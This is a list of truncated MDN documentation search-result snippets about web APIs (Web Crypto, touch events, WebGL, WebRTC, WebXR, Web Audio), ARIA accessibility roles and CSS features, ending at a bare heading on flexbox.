ed on the same underlying cipher, AES (Advanced Encryption Standard). The difference between them is the mode. The Web Crypto API supports three different AES modes: CTR (Counter Mode) CBC (Cipher Block Chaining) GCM (Galois/Counter Mode) It's strongly recommended to use authenticated encryption, which includes checks that the ciphertext has not been modified by an attacker. Authentication helps protect against chosen-ciphertext attacks, in which an attacker can ask the system to decrypt arbitrary messages, and use the result to deduce information about the secret key. While it's possible to add authentication to CTR and CBC modes, they do not provide it by default and when implementing it manually one can easily make minor, but serious mistakes. GCM does provide built-in authentication...
SubtleCrypto.wrapKey() - Web APIs
As with SubtleCrypto.exportKey(), you specify an export format for the key. To export a key, it must have CryptoKey.extractable set to true. But because wrapKey() also encrypts the key to be imported, you also need to pass in the key that must be used to encrypt it. ...
SubtleCrypto - Web APIs
er derive the same key from the same password to decrypt the data. Importing and exporting keys To make keys available outside your app, you need to export the key, and that's what exportKey() is for. You can choose one of a number of export formats. The inverse of exportKey() is importKey(). You can import keys from other systems, and support for standard formats like PKCS #8 and JSON Web Key helps you do this. The exportKey() function exports the key in an unencrypted format. If the key is sensitive you should use wrapKey(), which exports the key and then encrypts it using another key; the API calls a "key-wrapping key". The inverse of wrapKey() is unwrapKey(), which decrypts then imports the key. Storing keys CryptoKey objects can be stored using the structured clone algorithm, meani...
Touch - Web APIs
Web › API › Touch
The Touch interface represents a single contact point on a touch-sensitive device. The contact point is commonly a finger or stylus and the device may be a touchscreen or trackpad. The Touch.radiusX, Touch.radiusY, and Touch.rotationAngle describe the area of contact between the user and the screen, the touch area. This can be helpful when dealing with imprecise pointing devices such as fingers. These values are set to describe an ellipse that as closely as possible matches the entire area of contact (such as the user's fingertip). Note: Many of the properties' values are hardware-dependent; for example, if the device doesn't have a way to detect the amount of pressure placed on the surface, the force value will always be 0. This may also be the case for radiusX and radiusY; if the hardw...
Using Touch Events - Web APIs
the number of degrees of rotation to apply to the described ellipse to align with the contact area - is also be standardized as is the amount of pressure applied to a touch point. What about Pointer Events? The introduction of new input mechanisms results in increased application complexity to handle various input events, such as key events, mouse events, pen/stylus events, and touch events. To help address this problem, the Pointer Events standard defines events and related interfaces for handling hardware agnostic pointer input from devices including a mouse, pen, touchscreen, etc.. That is, the abstract pointer creates a unified input model that can represent a contact point for a finger, pen/stylus or mouse. See the Pointer Events MDN article. The pointer event model can simplify an app...
Touch events - Web APIs
0; i < touches.length; i++) { var idx = ongoingTouchIndexById(touches[i].identifier); ongoingTouches.splice(idx, 1); // remove it; we're done } } Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment. Convenience functions This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear. Selecting a color for each touch To make each touch's drawing look different, the colorForTouch() function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches. function colorForTouch(touch) { var r = touch.identifier % 16; var ...
ValidityState - Web APIs
Properties For each of these Boolean properties, a value of true indicates that the specified reason validation may have failed is true, with the exception of the valid property, which is true if the element's value obeys all constraints. badInput Read only A Boolean that is true if the user has provided input that the browser is unable to convert. ...
WaveShaperNode.curve - Web APIs
// myCurveDataArray is a Float32Array Value A Float32Array. Example The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). Note: Sigmoid functions are commonly used for distortion curves because of their natural properties. Their S-shape, for instance, helps create a smoother sounding result. We found the below distortion curve code on Stack Overflow. var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var distortion = audioCtx.createWaveShaper(); ... function makeDistortionCurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve = new Float32Array(n_samples), deg = Math.PI /...
WaveShaperNode.oversample - Web APIs
ShaperNode. enumeratedValue is one of 'none', '2x', or '4x'. Example The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). Note: Sigmoid functions are commonly used for distortion curves because of their natural properties. Their S-shape, for instance, helps create a smoother sounding result. We found the below distortion curve code on Stack Overflow. var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var distortion = audioCtx.createWaveShaper(); ... function makeDistortionCurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve = new Float32Array(n_samples), deg = Math.PI /...
WaveShaperNode - Web APIs
specific method; inherits methods from its parent, AudioNode. Example The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). Note: Sigmoid functions are commonly used for distortion curves because of their natural properties. Their S-shape, for instance, helps create a smoother sounding result. We found the below distortion curve code on Stack Overflow. var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var distortion = audioCtx.createWaveShaper(); ... function makeDistortionCurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve = new Float32Array(n_samples), deg = Math.PI /...
WebGLContextEvent - Web APIs
/a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties This interface inherits properties from its parent interface, Event. WebGLContextEvent.statusMessage A read-only property containing additional information about the event. Methods This interface doesn't define any own methods, but inherits methods from its parent interface, Event. ...
WebGLRenderingContext.activeTexture() - Web APIs
f gl.TEXTUREI, where I is within the range from 0 to gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1, a gl.INVALID_ENUM error is thrown. Examples The following call selects gl.TEXTURE1 as the current texture. Subsequent calls that modify the texture state will affect this texture. gl.activeTexture(gl.TEXTURE1); The number of texture units is implementation dependent, you can get this number with the help of the MAX_COMBINED_TEXTURE_IMAGE_UNITS constant. It is, per specification, at least 8. gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS); To get the active texture, query the ACTIVE_TEXTURE constant. gl.activeTexture(gl.TEXTURE0); gl.getParameter(gl.ACTIVE_TEXTURE); // returns "33984" (0x84C0, gl.TEXTURE0 enum value) Specifications Specification Status Comment W...
Boilerplate 1 - Web APIs
t relevant for learning WebGL. Specifically, the HTML has a <p> element that contains some descriptive text about the page and may also hold error messages; a <canvas> element; and optionally a <button>. The CSS contains rules for body, canvas, and button. Any additional non-trivial CSS and HTML will be displayed on the pages of specific examples. In following examples, we will use a JavaScript helper function, getRenderingContext(), to initialize the WebGL rendering context. By now, you should be able to understand what the function does. Basically, it gets the WebGL rendering context from the canvas element, initializes the drawing buffer, clears it black, and returns the initialized context. In case of error, it displays an error message and returns null. Finally, all JavaScript code wil...
Clearing by clicking - Web APIs
er (the viewport). if (!gl) { gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl"); if (!gl) { alert("Failed to get WebGL context.\n" + "Your browser or device may not support WebGL."); return; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); } // Get a random color value using a helper function. var color = getRandomColor(); // Set the clear color to the random color. gl.clearColor(color[0], color[1], color[2], 1.0); // Clear the context with the newly set color. This is // the function call that actually does the drawing. gl.clear(gl.COLOR_BUFFER_BIT); } // Random color helper function. function getRandomColor() { return [Math.random(), Mat...
Raining rectangles - Web APIs
<< PreviousNext >> A simple WebGL game that demonstrates clearing with solid colors, scissoring, animation, and user interaction. Animation and user interaction with scissoring This is a simple game. The objective: try to catch as many of the raining rectangles as you can by clicking on them. In this example, we use an object-oriented approach for the displayed rectangles, which helps to keep the state of the rectangle (its position, color, and so on) organized in one place, and the overall code more compact and reusable. This example combines clearing the drawing buffer with solid colors and scissoring operations. It is a preview of a full graphical application that manipulates various phases of the WebGL graphics pipeline and state machine. In addition, the example demonst...
Animating textures in WebGL - Web APIs
texture. And finally, we set the src attribute to start and call play to start loading and playing the video. The video must be loaded from a secure source in order to be used to provide texture data to WebGL. That means that you'll not only need to deploy code like using a secure web server, but you'll need a secure server to test with as well. See How do you set up a local testing server? for help. Using the video frames as a texture The next change is to initTexture(), which becomes much simpler, since it no longer needs to load an image file. Instead, all it does is create an empty texture object, put a single pixel in it, and set its filtering for later use: function initTexture(gl) { const texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); // Because video ...
Lighting in WebGL - Web APIs
f the basics. This example uses the glMatrix library to perform its matrix and vertex math. You'll need to include it if you create your own project based on this code. Our sample loads a copy from a CDN in our HTML's <head>. Simulating lighting and shading in 3D Although going into detail about the theory behind simulated lighting in 3D graphics is far beyond the scope of this article, it's helpful to know a bit about how it works. Instead of discussing it in depth here, take a look at the article on Phong shading at Wikipedia, which provides a good overview of the most commonly used lighting model or if you'd like to see a WebGL based explanation see this artcle. There are three basic types of lighting: Ambient light is the light that permeates the scene; it's non-directional and affe...
Using textures in WebGL - Web APIs
exture from another domain, CORS approval needs to be be obtained. See HTTP access control for details on CORS. Because WebGL now requires textures to be loaded from secure contexts, you can't use textures loaded from file:/// URLs in WebGL. That means that you'll need a secure web server to test and deploy your code. For local testing, see our guide How do you set up a local testing server? for help. See this hacks.mozilla.org article for an explanation of how to use CORS-approved images as WebGL textures, with a self-contained example. Note: CORS support for WebGL textures and the crossOrigin attribute for image elements is implemented in Gecko 8.0. Tainted (write-only) 2D canvases can't be used as WebGL textures. A 2D <canvas> becomes tainted, for example, when a cross-domain image is...
WebGL: 2D and 3D graphics for the web - Web APIs
Web › API › WebGL API
ampler objects, Uniform Buffer objects, Sync objects, Query objects, Transform Feedback objects, Promoted extensions that are now core to WebGL 2: Vertex Array objects, instancing, multiple render targets, fragment depth. See also the blog post "WebGL 2 lands in Firefox" and webglsamples.org/WebGL2Samples for a few demos. Guides and tutorials Below, you'll find an assortment of guides to help you learn WebGL concepts and tutorials that offer step-by-step lessons and examples. Guides Data in WebGL A guide to variables, buffers, and other types of data used when writing WebGL code. WebGL best practices Tips and suggestions to help you improve the quality, performance, and reliability of your WebGL content. Using extensions A guide to using WebGL extensions. Tutorials WebGL...
WebRTC connectivity - Web APIs
s created. Similarly, pendingRemoteDescription includes any remote ICE candidates which have been provided by calls to RTCPeerConnection.addIceCandidate(). See the individual articles on these properties and methods for more specifics, and Codecs used by WebRTC for information about codecs supported by WebRTC and which are compatible with which browsers. The codecs guide also offers guidance to help you choose the best codecs for your needs. ICE candidates As well as exchanging information about the media (discussed above in Offer/Answer and SDP), peers must exchange information about the network connection. This is known as an ICE candidate and details the available methods the peer is able to communicate (directly or through a TURN server). Typically, each peer will propose its best cand...
High-level guides - Web APIs
n the Web. The high-level guides listed below introduce WebRTC technology from a top-down perspective, describing the overall architecture, the life cycle of a WebRTC connection, and basic security and technological issues you might run into as you explore and build Web content or apps using the WebRTC API. In addition, you'll find suggestions as to tools, libraries, and frameworks that might be helpful and compatibility information so you know which parts of the overall suite of WebRTC features can be safely used given your target audience. There are no subpages at this time. When you're ready to explore WebRTC in more depth, be sure to take a look at our Low-level guide to WebRTC. ...
Writing WebSocket client applications - Web APIs
box").contentWindow.scrollByPages(1); } }; Here we use JSON.parse() to convert the JSON object back into the original object, then examine and act upon its contents. Text data format Text received over a WebSocket connection is in UTF-8 format. Closing the connection When you've finished using the WebSocket connection, call the WebSocket method close(): exampleSocket.close(); It may be helpful to examine the socket's bufferedAmount attribute before attempting to close the connection to determine if any data has yet to be transmitted on the network. If this value isn't 0, there's pending data still, so you may wish to wait before closing the connection. Security considerations WebSockets should not be used in a mixed content environment; that is, you shouldn't open a non-secure Web...
Web Video Text Tracks Format (WebVTT) - Web APIs
me, which is the starting time for showing the text that appears underneath. On the same line, we then have a string of "-->". We finish the first line with a second time, which is the ending time for showing the associated text. We can then have one or more lines that start with a hyphen (-), each containing part of the text track to be shown. We can also place comments in our .vtt file, to help us remember important information about the parts of our file. These should be on separate lines, starting with the string NOTE. You'll find more about these in the below section. It is important to not use "extra" blank lines within a cue, for example between the timings line and the cue payload. WebVTT is line based; a blank line will close the cue. WebVTT comments Comments are an optional c...
Lighting a WebXR setting - Web APIs
nd behavior analysis data. If two or more devices access content that uses the same third-party script, that script can be used to correlate lighting information and how it changes over time to attempt to determine a spatial relationship between the devices; this could in theory indicate that the devices are in the same general area, for example. How browsers mitigate these issues In order to help mitigate these risks, browsers are required by the WebXR Lighting Estimation API specification to report lighting information that is fudged somewhat from the true value. There are many ways this could be done. Spherical harmonics precision Browsers can mitigate the risk of fingerprinting by reducing the precision of spherical harmonics. When performing real-time rendering--as is the case with ...
WebXR performance guide - Web APIs
WebXR applications involve multiple technologies which can be highly sensitive to performance constraints. As such, you may find yourself needing to make adjustments or compromises to optimize the performance of your WebXR application to be as usable as possible on the broadest assortment of target devices. In this guide, we'll examine a variety of suggestions and recommendations that will help you make your WebXR app as performant as possible. Rendering tips ... Talk about general stuff like limiting how many different loops there are during rendering, avoiding unnecessary drawing, etc. Can probably also include stuff from https://github.com/immersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions Managing rendering quality ... This section will co...
Rendering and the WebXR frame animation callback - Web APIs
he frame is actually called for, you can make your site or app render much more efficiently, improving main thread performance and generally making the user experience better. Fortunately, there are some tricks you can use to further reduce your impact and optimize performance if your renderering needs are particularly heavy. See the WebXR performance guide for recommendations and tips that will help you ensure your performance is as good as it can be. WebXR frames Your frame rendering callback function receives as input two parameters: the time to which the frame corresponds, and an XRFrame object describing the state of the scene as of that time. The optics of 3D We have two eyes for a reason: by having two eyes, each inherently sees the world from a slightly different angle. Since they...
Targeting and hit detection - Web APIs
implemented, but the end result is the same. Most commonly, it refers to "Laser Imaging, Detection, And Ranging" or "LIght Detection and Ranging"). Testing for collisions with the real world is a different problem, which may involve not only interpreting the imagery from the device's camera (if available) but also potentially multiple additional sensors. Some devices include infrared sensors to help range objects, and others provide powerful LIDAR systems, which use lasers (usually infrared lasers, which can't be seen by the human eye) to determine range to objects in the world. The details of how to work with an individual platform's ranging system is beyond the scope of this article. However, there's hope: a proposal has been floated for a WebXR Hit Test Module that would layer atop WebXR...
Basic concepts behind Web Audio API - Web APIs
It won't turn you into a master sound engineer, but it will give you enough background to understand why the Web Audio API works like it does. Audio graphs The Web Audio API involves handling audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. ...
Tools for analyzing Web Audio usage - Web APIs
While working on your Web Audio API code, you may find that you need tools to analyze the graph of nodes you create or to otherwise debug your work. This article discusses tools available to help you do that. Chrome A handy web audio inspector can be found in the Chrome Web Store. Edge Add information for developers using Microsoft Edge. Firefox Firefox offers a native Web Audio Editor. Safari Add information for developers working in Safari. ...
Using Web Workers - Web APIs
Data and creating a switching system If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together. ...
WindowOrWorkerGlobalScope.setInterval() - Web APIs
work in Internet Explorer 9 and earlier. If you want to enable this functionality on that browser, you must use a polyfill (see the Callback arguments section). Return value The returned intervalID is a numeric, non-zero value which identifies the timer created by the call to setInterval(); this value can be passed to WindowOrWorkerGlobalScope.clearInterval() to cancel the timeout. It may be helpful to be aware that setInterval() and setTimeout() share the same pool of IDs, and that clearInterval() and clearTimeout() can technically be used interchangeably. For clarity, however, you should try to always match them to avoid confusion when maintaining your code. Note: The delay argument is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's spec...
XMLHttpRequest.responseType - Web APIs
or An attempt was made to change the value of responseType on anXMLHttpRequest which is in synchronous mode but not in a Worker. For additional details, see Synchronous XHR restrictions below. Usage notes Synchronous XHR restrictions You cannot change the value of responseType in a synchronous XMLHttpRequest except when the request belongs to a Worker. This restriction is designed in part to help ensure that synchronous operations aren't used for large transactions that block the browser's main thread, thereby bogging down the user experience. XMLHttpRequests are asynchronous by default; they are only placed in synchronous mode by passing false as the value of the optional async parameter when calling open(). Restrictions in Workers Attempts to set the value of responseType to document...
XRWebGLLayerInit.ignoreDepthValues - Web APIs
ayer() constructor. The default value, false, means the depth buffer will be used, if available. Usage notes If ignoreDepthValues is true, the WebXR compositor will ignore the contents of the depth buffer, if it exists, while compositing and rendering the scene. If false, the depth buffer's contents are used, if one is present. Using a depth buffer while compositing allows the XR compositor to help ensure the compositing is done as accurately as possible. Each entry in the depth buffer corresponds to the depth of the fragment whose color is at the same location in the color buffer, and must have a value between 0.0 and 1.0, where 0.0 corresponds to the distance specified in the XRSession object's renderState record's depthNear and 1.0 represents the distance given by depthFar. Ignoring dep...
ARIA Screen Reader Implementors Guide - Accessibility
viding useful guidance on how to use the markup's intended meaning while supporting live regions as an area for screen readers to innovate and compete. Interpreting WAI-ARIA live region markup Live changes are hints: in general live region markup is provided by the author as hints, and the assistive technology may allow for global, site or even region-specific settings, as well as heuristics to help with live changes on pages that have no WAI-ARIA hints. Optionally, create a second, additional queue if the user configures a second hardware channel: If there are two channels for presentation (e.g. text to speech and a Braille display), then two queues can be maintained to allow for parallel presentation. The channels could be user configured for presenting live regions based on role or polit...
Using the aria-activedescendant attribute - Accessibility
This article describes the aria-activedescendant property. Description The aria-activedescendant attribute contains the ID of the currently active child object that is part of a composite widget within the Document Object Model. It makes do with the overhead of having all or more than one child focusable. As the name specifies, it helps in managing the current active child of the composite widget. Possible effects on user agents and assistive technology The user agent, which is any software that retrieves, renders and facilitates end user interaction with Web content, uses the aria-activedescendant property to inform the assistive technology about the active child which has focus. This active child using the aria-activedescendant property must always be visible on screen and must ...
ARIA Test Cases - Accessibility
a-accessibility.org/examples/ For each example we test the "Expected" results with assistive technologies, for each browser that AT supports WAI-ARIA in. Where a failure occurs we will test the browser for API incorrectness, using tools such as MSAA Inspect. This must be done in order to determine where to file a bug (browser or AT). There are several purposes for providing this information: Help browser vendors provide correct implementations Help AT vendors provide correct implementations Inform authors as to what actually works reliably In general we're testing with the latest public releases. However, where things don't work we may test with nightly builds if they are available, in order to show what is already fixed in upcoming releases. We can add more screen readers if people ...
ARIA annotations - Accessibility
color: red; text-decoration: line-through; } ins, [role="insertion"], del, [role="deletion"] { text-decoration-thickness: 2px; background-color: #fee; padding: 2px 4px; margin: 0 1px; } Comments Online document applications also commonly feature commenting systems, and it would be nice to have a way to semantically associate commented content and its comments. ARIA annotations can help us here too. Let's say we have a comment box like so: <div role="comment" id="thread-1" data-author="chris"> <h3>Chris said</h3> <p class="comment-text">I really think this could use more cowbell.</p> <p><time datetime="2019-03-30T19:29">March 30 2019, 19:29</time></p> </div> We've used role="comment" to mark this up as a comment. To associate the comment with the text being commented, w...
ARIA: article role - Accessibility
technologies to be in pass-through mode, an article can be used to indicate that these should switch back to treating the enclosed content as regular web content. Instead of including the article role on a non-semantic element, the <article> element should be used. User agents translate this to the appropriate accessibility information just like the article role. Using the <article> element also helps search engines better discover the structure of a page. Examples of appropriate uses of the role="article", or preferably <article>, include blog posts, forum posts, a comment to a forum or blog post, a comment to a comment to a forum or blog post, any an item in a social media feed. Associated WAI-ARIA roles, states, and properties aria-posinset In the context of a feed, indicates the posi...
ARIA: banner role - Accessibility
h1> <p>Identifying page subsections for easy navigation</p> </header> Best practices While it is best to use the header element and ensure it is not a descendant of any subsection of the page, sometimes you don't have access to the underlying HTML. If this is the case, you can add the role of banner to the main header of the page with JavaScript. Identifying the page's banner in this way will help improve the site's accessibility. Specifications Specification Status Accessible Rich Internet Applications (WAI-ARIA) 1.1The definition of 'ARIA: banner role' in that specification. Recommendation WAI-ARIA Authoring PracticesThe definition of 'Banner landmark role' in that specification. Working Draft Screen reader support TBD ...
ARIA: feed role - Accessibility
ably have aria-describedby referring to one or more elements inside the article that serve as the primary content of the article. Each article element has aria-posinset set to a value that represents its position in the feed and an aria-setsize set to a value that represents either the total number of articles that have been loaded or the total number in the feed, depending on which value is more helpful to users. If the total number in the feed is not known, set aria-setsize="-1". Required JavaScript features None, except as required by any attributes. For example, setting aria-busy to true during the update operation if needed, and then to false upon completion. Examples Example Implementation of Feed Pattern Specifications Specification Status Accessible Rich I...
ARIA: form role - Accessibility
te a section of content as a form landmark, if it is provided an accessible name. Developers should always prefer using the correct semantic HTML element over using ARIA. Use the HTML <form> element if possible. The <form> element defines a form landmark when it has an accessible name (e.g. aria-labelledby, aria-label or title). Make sure to have a unique label on each form in a document to help users understand the purpose of the form. This label should be visible to all users, not just assistive technology users. Use the search landmark instead of the form landmark when the form is used for search functionality. Use the role="form" to identify a region of the page; do not use it to identify every form field. Even if you are using the form landmark instead of <form>, you are encouraged...
ARIA: Navigation Role - Accessibility
sing ARIA. Associated WAI-ARIA Roles, States, and Properties aria-label A brief description of the purpose of the navigation, omitting the term "navigation", as the screen reader will read both the role and the contents of the label. Keyboard Interactions None. Required JavaScript features None. Examples <div role="navigation" aria-label="Customer service"> <ul> <li><a href="#">Help</a></li> <li><a href="#">Order tracking</li> <li><a href="#">Shipping &amp; Delivery</a></li> <li><a href="#">Returns</a></li> <li><a href="#">Contact us</a></li> <li><a href="#">Find a store</a></li> </ul> </div> Accessibility concerns Landmark roles are intended to be used sparingly, to identify larger overall sections of the document. Using too many landmark roles can ...
ARIA: Region role - Accessibility
RIA Roles, States, and Properties aria-labelledby Use this attribute to label the region. Often, the value of the aria-labelledby attribute will be the id of the element used to title the section. Keyboard Interactions None. Required JavaScript features None. Examples <div role="region" aria-labelledby="region-heading"> <h2 id="region-heading">This heading's <code>id</code> attribute helps this region have an accessible name</h2> <!-- region content --> </div> Accessibility concerns Use sparingly! Landmark roles are intended to be used sparingly, to identify larger overall sections of the document. Using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. Only use the region role if no other relevant...
ARIA: switch role - Accessibility
technology, if it supports the switch role, responds by doing the following: Screen readers should announce the element as a switch, optionally providing instructions as to how to activate the switch. There are varying opinions on how assistive technologies should handle this role; the above is a suggested practice and may differ from other sources. Examples The following examples should help you understand how to apply and use the switch role. Adding the switch role in ARIA This simple example just creates a widget and assigns the ARIA switch role to it. The button is styled with an appearance reminiscent of an on/off power switch. HTML The HTML is fairly simple here. The switch is implemented as a <button> element which is initially checked courtesy of its aria-checked attribute...
ARIA: button role - Accessibility
tton role is used, screen readers announce the element as a button, generally saying "click" followed by the button's accessible name. The accessible name is either the content of the element or the value of an aria-label or element referenced by an aria-labelledby attribute, or description, if included. Best practices If a link performs the action of a button, giving the element role="button" helps assistive technology users understand the function of the element. However, a better solution is to adjust the visual design so it matches the function and ARIA role. Where possible, it is recommended to use native HTML buttons (<button>, <input type="button">, <input type="submit">, <input type="reset"> and <input type="image">) rather than the button role, as native HTML buttons are supporte...
ARIA: dialog role - Accessibility
he content in the dialog can be interacted with). <div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"> <h2 id="dialog1Title">Your personal details were successfully updated</h2> <p id="dialog1Desc">You can change your details at any time in the user account section.</p> <button>Close</button> </div> Description Marking up a dialog element with the dialog role helps assistive technology identify the dialog's content as being grouped and separated from the rest of the page content. However, adding role="dialog" alone is not sufficient to make a dialog accessible. Additionally, the following needs to be done: The dialog must be properly labeled Keyboard focus must be managed correctly The sections below describe how these two requirements can be met. ...
Basic form hints - Accessibility
For more guidance on using ARIA for forms accessibility, see the WAI-ARIA Authoring Practices document. ...
Accessibility FAQ - Accessibility
d? Assistive Technology Compatibility - Documents assistive technologies for Windows, Linux, UNIX, Mac OS X and the degree of compatibility with Firefox What can I do to make sure my Mozilla extensions are accessible? In general, use the Accessible Toolkit Checklist (archive.org). For interface design with XUL, follow the Accessibile XUL Authoring Guidelines (archive.org). I'm interested in helping promote the fine accessibility features that Firefox provides, what can I do? Join the Firefox Accessibility Advocates ...
Accessibility Information for Web Authors - Accessibility
ality Check" for accessibility, privacy, searchability, metadata and even alt text attribute quality. The web author chooses the guidelines (as a basis for errors and warnings) to be used by "Cynthia says(TM)": Section 508, WCAG Priorities 1, 2 and 3. The output data report is displayed in a clear and well structured table where each and all checkpoints are identified and described (along with an helpful clickable link to the related reference guideline) into logical groups and according to measurable results: passed, warning, failed for automated verification, warning for manual verification, not selected, not available, not related, etc. Accessibility Valet from WebThing Description and summary to be written. WAVE 4.0 beta (Web Accessibility Versatile Evaluator) from WebAIM and spons...
Web accessibility for seizures and physical reactions - Accessibility
e prefers-reduced-transparency media feature is used to detect if the user has requested the system minimize the amount of transparent or translucent layer effects it uses. MediaQueryList Interface Section 4.2 from the CSSWG.org drafts integrates with the event loop defined in HTML. [HTML] for the MediaQueryList object. See the MDN document, MediaQueryList for more information. Personalization Help and Support The requirement for the literal property is taken from section 23 Non-literal Text and Images Requirement: Some users cannot understand non-literal text and icons such as metaphors, idioms etc. The literal property is intended to identify text or images as non-literal and allows the author to explain non-literal text and images to users. Transitions (for CSS and SVG) The following...
::after (:after) - CSS: Cascading Style Sheets
Web › CSS › ::after
ay (such as with details and summary elements) is likely to be more appropriate. HTML <p>Here we have some <span tabindex="0" data-descr="collection of words and punctuation">text</span> with a few <span tabindex="0" data-descr="small popups that appear when hovering">tooltips</span>. ...
:enabled - CSS: Cascading Style Sheets
Web › CSS › :enabled
element is enabled if it can be activated (selected, clicked on, typed into, etc.) or accept focus. The element also has a disabled state, in which it can't be activated or accept focus. /* Selects any enabled <input> */ input:enabled { color: blue; } Syntax :enabled Examples The following example makes the color of text and button <input>s green when enabled, and gray when disabled. This helps the user understand which elements can be interacted with. HTML <form action="url_of_form"> <label for="FirstField">First field (enabled):</label> <input type="text" id="FirstField" value="Lorem"><br> <label for="SecondField">Second field (disabled):</label> <input type="text" id="SecondField" value="Ipsum" disabled="disabled"><br> <input type="button" value="Submit"> </form> CSS ...
:valid - CSS: Cascading Style Sheets
Web › CSS › :valid
/* Selects any valid <input> */ input:valid { background-color: powderblue; } This pseudo-class is useful for highlighting correct fields for the user. ...
@font-feature-values - CSS: Cascading Style Sheets
The @font-feature-values at-rule may be used either at the top level of your CSS or inside any CSS conditional-group at-rule. Syntax Feature value blocks @swash Specifies a feature name that will work with the swash() functional notation of font-variant-alternates. A swash feature value definition allows only one value: ident1: 2 is valid, but ident2: 2 4 isn't. ...
-ms-high-contrast - CSS: Cascading Style Sheets
t's text. window: controls the color of the background. The <a> element controls the color of links. Because High Contrast Mode themes are dynamic, use these color keywords in place of other CSS color values. This will ensure that content will always be able to be perceived. Content If at all possible, prefer updating HTML markup over modifying content using CSS2 system color keywords. This helps keep the content more predictable. Specifications Not part of any standard. Remarks As of Microsoft Edge 18, -ms-high-contrast: none is no longer supported. Microsoft Edge versions 18 and higher will be using the forced-colors media feature instead, but the forced-colors media feature specification is still being actively worked on. The -ms-high-contrast media feature works with the -ms-hig...
CSS Animations - CSS: Cascading Style Sheets
CSS At-rules @keyframes Guides Detecting CSS animation support Describes a technique for detecting if a browser supports CSS animations. Using CSS animations Step-by-step tutorial about how to create animations using CSS. This article describes each relevant CSS property and at-rule and explains how they interact with each other. CSS animations tips and tricks Tips and tricks to help you get the most out of CSS animations. Currently offers a technique for replaying an animation which has already run through to completion, which the API doesn't support inherently. Specifications Specification Status Comment CSS Animations Working Draft Initial definition. ...
Box alignment in grid layout - CSS: Cascading Style Sheets
nt. On the block (cross) axis the alignment of the items inside their grid areas is controlled with align-items. The first item overrides the align-items value set on the group by setting align-self to center. Grid axes As a two-dimensional layout method, when working with grid layout we always have two axes on which to align our items. We have access to all of the box alignment properties to help us achieve this. The inline axis is the axis that corresponds to the direction that words in a sentence would run in the writing mode used. Therefore, in a horizontal language such as English or Arabic the inline direction runs horizontally. Should you be in a vertical writing mode the inline axis will run vertically. To align things on the inline axis you use the properties that start with j...
CSS Box Alignment - CSS: Cascading Style Sheets
the items is placed after the items. If you set justify-content: space-between on the flex container, the available space is now shared out and placed between the items. There needs to be space available in the dimension you wish to align the items in, in order for these keywords to take effect. With no space, there is nothing to distribute. Overflow alignment The safe and unsafe keywords help define behaviour when an alignment subject is larger than the alignment container. The safe keyword will align to start in the case of a specified alignment causing an overflow, the aim being to avoid "data loss" where part of the item is outside of the boundaries of the alignment container and can't be scrolled to. If you specify unsafe then the alignment will be honoured even if it would cause...
Color picker tool - CSS: Cascading Style Sheets
ected color, a palette for HSL and HSV, as well as alpha, is generated. The "eyedropper" style color picker box can be toggled between HSL or HSV format. You can also test colors and how they overlap one another by dragging them into the box at the bottom of the tool and moving them over one another. Adjust their relative Z index values to move them forward and behind one another. This tool will help you identify the perfect CSS colors to apply to your HTML. The generated colors you create above can be used anywhere color is used in CSS and HTML, unless otherwise noted. ...
Handling content breaks in multicol - CSS: Cascading Style Sheets
several elements, your content needs to break somewhere, so you may not always get the result you intended. To some extent your use of fragmentation is always a suggestion to the browser, to control breaks in this way if it is possible. In addition to the above, browser support for these properties is a little patchy. The compatibility data charts on the individual property pages here on MDN can help you see which browsers support which features. In most cases, the fallback to breaks not being controlled is something you can live with, with suboptimal breaking being untidy rather than a disaster to your layout. ...
Using multi-column layouts - CSS: Cascading Style Sheets
orum </div> CSS #column_gap { column-count: 5; column-gap: 2em; } Result Graceful Degradation The column properties will just be ignored by non-columns-supporting browsers. Therefore it's relatively easy to create a layout that will display in a single column in those browsers and use multiple columns in supporting browsers. Conclusion CSS3 columns are a layout primitive that will help Web developers make the best use of screen real estate. Imaginative developers may find many uses for them, especially with the automatic height balancing feature. ...
Using feature queries - CSS: Cascading Style Sheets
lternate way to write the above code is to wrap all of the grid code in a feature query as follows. This may mean you have a little more code but comes with the benefit of being able to test the fallback by misspelling the property or value name. You can try this in the live example above by changing display: grid in the @supports rule to display: grip or similar. Summary Feature Queries can help you start to use newer features by enhancing a simpler display of the site used for older browsers. As you can wrap up the CSS for supporting browsers, you do not run the risk of styles used for the fallback display leaking through, as shown in our grid example above. See also The @supports rule Learn Layout: Supporting Older Browsers CSS Grid Layout and Progressive Enhancement Using Featu...
Basic concepts of flexbox - CSS: Cascading Style Sheets
